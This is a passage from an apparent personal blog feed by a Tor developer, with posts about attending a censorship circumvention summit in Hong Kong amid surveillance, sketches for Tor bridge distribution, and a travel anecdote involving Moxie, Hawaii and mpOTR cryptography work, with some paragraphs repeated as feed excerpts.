bit&nbsp;heartbreaking.</p> <p><img alt="kowloon-1" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/04/kowloon-1.jpg"></p> <p>I&#8217;ve been thinking a lot more about borders lately. Ashamed as I am to admit it (it&#8217;s not like I was ever <em>in favour</em> of having borders), until now I&#8217;ve held a very privileged perspective on them. Sure, borders suck. Got it. Yep, people should be allowed to work wherever they want. Freedom of association, right? And yet it had never occurred to me: that an invisible line drawn in the sand could keep you away from your home, or that an arbitrary date on a slip of paper could decide how long you were permitted to see someone you&nbsp;loved.</p> <p>After living in Germany and France for precisely the number of days my tourist visa would allow, (Oops. I&#8217;d been counting, and thought I was still a week under. I should probably script that.) I took off for Hong Kong, where <a href="proxy.php?url=https://openitp.org">OpenITP</a> had generously offered me a travel grant to attend <a href="proxy.php?url=http://openitp.org/?q=node/32">the third Censorship Circumvention Summit</a>. Jumping from France to China to somewhere-undetermined-that-is-not-Schengen definitely presented some interesting security challenges, since I had to take <em>all of the things</em> I own with me. (It all fits in a backpack, so it&#8217;s not a space/money issue, it&#8217;s&nbsp;a </p> <blockquote> <p><span class="dquo">&#8220;</span>%&amp;$#@! I&#8217;m carrying devices which normally have access to thousands of computers, including some Tor Project infrastructure and repositories, and I have to keep them safe from a government …</p></blockquote> <p>Last week, I went to China, for the first &#8212; and possibly the last &#8212;&nbsp;time. </p> <p>Later, when I feel like complaining, I&#8217;ll blog about the negative things, like the evidence that someone had broken into mine and another Tor developer&#8217;s hotel room. As well as the tale of being followed by multiple plainclothes people through the streets of Kowloon, again with another Tor developer, down alleys, in and out of cabs, through electronic stores where I loudly and openly bought tiny audio/video devices to bug myself and the hotel room with. This is the first time I&#8217;ve ever worn a wire (I know, <em>they all say that</em>, right?): it doesn&#8217;t feel right. I felt the compulsion to warn people who walked up and started talking to me, before they spoke. And even then I still felt dirty and&nbsp;creepy.</p> <p><img alt="king-of-kowloon" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/04/king-of-kowloon-small.jpg"></p> <p>When I started officially working on things for the <a href="proxy.php?url=https://torproject.org">Tor Project</a> a couple years ago, I&#8217;d imagined that the world was like a map in an <span class="caps">RPG</span>, and that there were a lot of dark, hazy spots that needed filling in. I worried that, if my legal name was publicly attached to Tor, that places like China, Iran, and Syria would always remain dark spots. The idea that I might be prevented from seeing and experiencing those cultures and regions firsthand, that I would not be able to see the homelands of people I wanted to empower, merely because a (<em>corrupt</em> would be redundant) government had gotten wise to some name I don&#8217;t answer to &#8212; it seemed daunting, and a bit&nbsp;heartbreaking.</p> <p><img alt="kowloon-1" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/04/kowloon-1.jpg"></p> <p>I&#8217;ve been thinking a lot more about borders lately. Ashamed as I am to admit it (it&#8217;s not like I was ever <em>in favour</em> of having borders), until now I&#8217;ve held a very privileged perspective on them. Sure, borders suck. Got it. Yep, people should be allowed to work wherever they want. Freedom of association, right? And yet it had never occurred to me: that an invisible line drawn in the sand could keep you away from your home, or that an arbitrary date on a slip of paper could decide how long you were permitted to see someone you&nbsp;loved.</p> <p>After living in Germany and France for precisely the number of days my tourist visa would allow, (Oops. I&#8217;d been counting, and thought I was still a week under. I should probably script that.) I took off for Hong Kong, where <a href="proxy.php?url=https://openitp.org">OpenITP</a> had generously offered me a travel grant to attend <a href="proxy.php?url=http://openitp.org/?q=node/32">the third Censorship Circumvention Summit</a>. Jumping from France to China to somewhere-undetermined-that-is-not-Schengen definitely presented some interesting security challenges, since I had to take <em>all of the things</em> I own with me. (It all fits in a backpack, so it&#8217;s not a space/money issue, it&#8217;s&nbsp;a </p> <blockquote> <p><span class="dquo">&#8220;</span>%&amp;$#@! I&#8217;m carrying devices which normally have access to thousands of computers, including some Tor Project infrastructure and repositories, and I have to keep them safe from a government that is going to hate me more than the United States, while eating nothing but plain rice <em>and</em> travelling 24,671 kilometers?!&#8221; <br>issue.</br></p> </blockquote> <p>Since part of this security setup involved not connecting to anything while inside China, I tried as best as I could to remove network capability from my laptop, including recompiling my kernel with most of the CONFIG_[*<span class="caps">NET</span>|<span class="caps">IP</span>*] settings disabled. Without internet and only <span class="caps">IRL</span> people to talk to, I got bored pretty fast (<em>kidding!</em> ♡ ) and resorted to pen and paper technology, because I had some ideas on Tor bridge distribution regarding a system for having clients connect to a bridge Distributor, and the Distributor authenticating the clients or requiring a valid Proof-of-Work computation. If the authcheck or PoW doesn&#8217;t pass, the Distributor should instruct an <span class="caps">OONI</span> Data Collector node to connect to the client, to scan for censorship events (<em>I wonder if we can actually get a network vantage point from the <span class="caps">DPI</span> boxes?</em> :D ), else if the client check passes, the Distributor should instruct a Tor Bridge to connect to the&nbsp;client.</p> <p>Here are <a href="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/04/bdb-and-ooni.jpg">my notes</a>.</p> <p>Obviously, the Distributors are going to get blocked, but if we were to use something like David Fifield&#8217;s FlashProxy, with it&#8217;s Facilitator as our Distributor (notice how all these words are oh-so-cleverly suffixed with <em>Tor</em>&#8230;), to contact the Distributor through a &#8220;normal&#8221; browser, the client should still be able to compute the auth/PoW and the Bridge or <span class="caps">OONI</span> Collector connect back to them. The Proof-of-Work should be necessary for protecting the Facilitator/Distributor from getting blocked, as well as significantly increase the cost of scanning for&nbsp;bridges.</p> <p><img alt="kowloon-nathan-rd" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/04/kowloon-nathan-rd.jpg"></p>Zeppelins, Chinese Junk Rigs, and Surfboards2013-03-25T13:38:00+00:002015-11-03T16:02:41+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2013-03-25:/zeppelins-chinese-junk-rigs-and-surfboards.html <p>One of the first times I met up with <a href="proxy.php?url=https://twitter.com/moxie">Moxie</a> while travelling, we met at a dive bar in San Francisco&#8217;s Mission District, packed with hipsters. I had nineteen years, a modified state <span class="caps">ID</span> card, and just hitchhiked into town. We sat at the bar, and both ordered well gin and&nbsp;tonics. </p> <p><img alt="junk" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/03/sboc/junk.png"></p> <p>I had a proposal, the sort of get-rich-quick scheme it seems that only 18th century pirates and lazy hacker-squatters are capable of contriving: We fly to China. Then, we spend a few grand purchasing a Chinese junk rig, and equip it with a system of pulleys so that we can man the sails from the cockpit, solo if necessary. Next, we fill the cabin with about as much potable water as we can carry and enough dried food to stave off starvation, and set a course across the northern arc of the Pacific &#8212; avoiding the treachery of the South Seas &#8212; for San Francisco. The choice of vessel was key, the battoned sails and flattened hull of a Chinese junk rig make it arguably one of the safest ships to make a transoceanic voyage alone, not to mention the finicial incentives: being rare in the Americas, a well-kept junk rig would go for anywhere from $50,000 to $250,000 <span class="caps">USD</span> &#8212; not to mention grant you free slip fees at just about any marina from Anchorage to Punta Arenas. How could anyone turn down such a preposterous plot which included adventure on the high seas, a high mortality risk, riches and&nbsp;notoriety?</p> <p>As I recall, Moxie shook and hung his head, and smiling countered my&nbsp;proposition.</p> <p><span class="dquo">&#8220;</span>Ever heard of Santos Dumont?&#8221; he&nbsp;asked.</p> <p><span class="dquo">&#8220;</span>Nope.&#8221;</p> <p><span class="dquo">&#8220;</span>So. Santos Dumont was a Brazilian hero, originally a Frenchman. This was around the late 1800s. He was the type of dude who would trek across the Amazon alone, leave for the North Pole with a party of eight and return with a party of three &#8212; your standard gentleman-adventurer, a total madman. Sometime around the turn of the century, he returns to Paris to participate in a race to sail zeppelins from a certain point around the Eifel Tower and back. He wins, but being rich already, gives half the money to charity. The other half of the prize he puts in the care of a trust fund with the instructions that it should be awarded to anyone who can beat his time &#8212; thirty minutes or so, from what I&nbsp;remember.&#8221;</p> <p><span class="dquo">&#8220;</span>No one&#8217;s won it&nbsp;yet?&#8221;</p> <p><span class="dquo">&#8220;</span>I&#8217;m not entirely sure, but the story appears to end there &#8212; at least, there is no record of anyone claiming the money in the trust &#8212; and it&#8217;s been sitting there, collecting interest, for over a century&nbsp;now.&#8221; </p> <p>Moxie swept the dreads out of his face, took a sip of the gin, and continued: &#8220;It should be simple to beat the time given the advantages of modern&nbsp;materials&#8230;&#8221;</p> <p>He and I have had a friendly series of bets throughout our friendship. Moxie usually wins&#8230;and I …</p> <p>One of the first times I met up with <a href="proxy.php?url=https://twitter.com/moxie">Moxie</a> while travelling, we met at a dive bar in San Francisco&#8217;s Mission District, packed with hipsters. I had nineteen years, a modified state <span class="caps">ID</span> card, and just hitchhiked into town. We sat at the bar, and both ordered well gin and&nbsp;tonics. </p> <p><img alt="junk" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/03/sboc/junk.png"></p> <p>I had a proposal, the sort of get-rich-quick scheme it seems that only 18th century pirates and lazy hacker-squatters are capable of contriving: We fly to China. Then, we spend a few grand purchasing a Chinese junk rig, and equip it with a system of pulleys so that we can man the sails from the cockpit, solo if necessary. Next, we fill the cabin with about as much potable water as we can carry and enough dried food to stave off starvation, and set a course across the northern arc of the Pacific &#8212; avoiding the treachery of the South Seas &#8212; for San Francisco. The choice of vessel was key, the battoned sails and flattened hull of a Chinese junk rig make it arguably one of the safest ships to make a transoceanic voyage alone, not to mention the finicial incentives: being rare in the Americas, a well-kept junk rig would go for anywhere from $50,000 to $250,000 <span class="caps">USD</span> &#8212; not to mention grant you free slip fees at just about any marina from Anchorage to Punta Arenas. How could anyone turn down such a preposterous plot which included adventure on the high seas, a high mortality risk, riches and&nbsp;notoriety?</p> <p>As I recall, Moxie shook and hung his head, and smiling countered my&nbsp;proposition.</p> <p><span class="dquo">&#8220;</span>Ever heard of Santos Dumont?&#8221; he&nbsp;asked.</p> <p><span class="dquo">&#8220;</span>Nope.&#8221;</p> <p><span class="dquo">&#8220;</span>So. Santos Dumont was a Brazilian hero, originally a Frenchman. This was around the late 1800s. He was the type of dude who would trek across the Amazon alone, leave for the North Pole with a party of eight and return with a party of three &#8212; your standard gentleman-adventurer, a total madman. Sometime around the turn of the century, he returns to Paris to participate in a race to sail zeppelins from a certain point around the Eifel Tower and back. He wins, but being rich already, gives half the money to charity. The other half of the prize he puts in the care of a trust fund with the instructions that it should be awarded to anyone who can beat his time &#8212; thirty minutes or so, from what I&nbsp;remember.&#8221;</p> <p><span class="dquo">&#8220;</span>No one&#8217;s won it&nbsp;yet?&#8221;</p> <p><span class="dquo">&#8220;</span>I&#8217;m not entirely sure, but the story appears to end there &#8212; at least, there is no record of anyone claiming the money in the trust &#8212; and it&#8217;s been sitting there, collecting interest, for over a century&nbsp;now.&#8221; </p> <p>Moxie swept the dreads out of his face, took a sip of the gin, and continued: &#8220;It should be simple to beat the time given the advantages of modern&nbsp;materials&#8230;&#8221;</p> <p>He and I have had a friendly series of bets throughout our friendship. Moxie usually wins&#8230;and I usually forget to name my stakes. I should have bet on this: If ever anyone were to be the cause for my going to the North Pole, it would be&nbsp;Moxie. </p> <hr> <p>I awoke this morning in my underwear on top of a snarled mess of sheets, with my head rather uncomfortably hanging off the edge of the bed, two laptops and three android android phones¹ piled on top of and around me. The rhythmic pink-noise crash of surf was drafting in on sticky air through an open window above my face. I opened my eyes. Knots of lime-coloured vines hung from a tamarind tree with dark beanpods of fruit half a meter&nbsp;long. </p> <p><img alt="tamarind" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/03/sboc/tamarind.jpg"></p> <p><em>Qu&#8217;est-que fuck? How did I get to Yavin <span class="caps">IV</span>?</em> </p> <p>I blinked, expecting the familiar snowy silence of Prenzlauerburg to replace the acerbic green foliage, the clockwork clacking of the yellow U-Bahn cars across the raised tracks to replace the steady sound of&nbsp;waves&#8230;</p> <p><img alt="prenzlauerberg" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/03/sboc/eberswalderstrasse-prenzlauerberg-hinterof.jpg"> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /></p> <p><em>Nope. Still on Yavin <span class="caps">IV</span>.</em></p> <p>Then I remembered the dark curls hanging over noetic eyes and »à plus« on a trainstation platform in the French Alps, the two-hour search and interrogation by <span class="caps">US</span> customs agents in the basement of the Montrèal airport, talking all night with expat Iranian dissident-hackers and deciphering the pyobfsproxy stacktraces and kanji showing up in my terminal at the Tor developer meeting at Harvard, and then the series of flights which brought me to the longitudinal apogee of my starting point five days ago. The shortest path of return is straight down; the fastest takes me <a href="proxy.php?url=http://www.distance.to/Honolulu_Berlin">directly over the North Pole</a>. Damnit, should&#8217;ve made that&nbsp;bet&#8230;</p> <p>One of the bets I lost years ago &#8212; I think this one was the cost of my hubristic belief that I could pick a lock faster than Moxie &#8212; had the stakes &#8220;loser has to go surfing naked&#8221;. I still haven&#8217;t paid that debt, but, having been on a surf team as a kid, I bet that, wetsuit or otherwise, I could surf better than he could. I think I forgot to name my stakes again, but it doesn&#8217;t matter because I had to let Moxie off the hook this time, due to the painful complications of his recent knee surgery. Though, while waiting for the others to arrive, Christine, Moxie, and I did get a chance to to test out the small surf in our front&nbsp;yard.</p> <p>I haven&#8217;t had to write any Java yet, and, tragically, my watercolour portait of <a href="proxy.php?url=http://www.novosti.rs/upload/images/2011/03/3003j/james-gosling-java.jpg">James Arthur Gosling</a> was confiscated at <span class="caps">U.S.</span> Customs in Montrèal, but I did write about twelve pages of equations in an attempt to sort out an elliptic curve <span class="caps">MQV</span> variation, changed to add embedded, deniable, and authenticated, key exchanges for both a long-term identity key and ephemeral session key as per Ian Goldberg et.al.&#8217;s denAKE() algorithm in the <a href="proxy.php?url=http://www.cypherpunks.ca/~iang/pubs/mpotr.pdf">Multi-Party Off-The-Record paper</a>. That&#8217;ll get added to <a href="proxy.php?url=https://github.com/isislovecruft/mpOTR">my fork of a collaborative <span class="caps">MPOTR</span> spec</a> git repo shortly, and review by cryptologists is greatly appreciated. I also rooted my newly-acquired (for <a href="proxy.php?url=https://ooni.torproject.org/"><span class="caps">OONI</span></a> mobile development testing and reading <a href="proxy.php?url=http://arxiv.org/">arxiv</a> papers) android jellybean tablet, and finally ate the taco and tapatio-coated mango I&#8217;d been craving in&nbsp;Berlin.</p> <p><a href="proxy.php?url=https://blog.patternsinthevoid.net">isis</a> <a href="proxy.php?url=https://github.com/isislovecruft">agora</a> <a href="proxy.php?url=https://twitter.com/isislovecruft">lovecruft</a></p> <p>Lahaina, Maui, Hawaii, United&nbsp;States</p> <p>24 March&nbsp;2013</p> <p>¹ Well, actually, one of them was a mozilla boot-to-gecko developer&nbsp;phone.</p>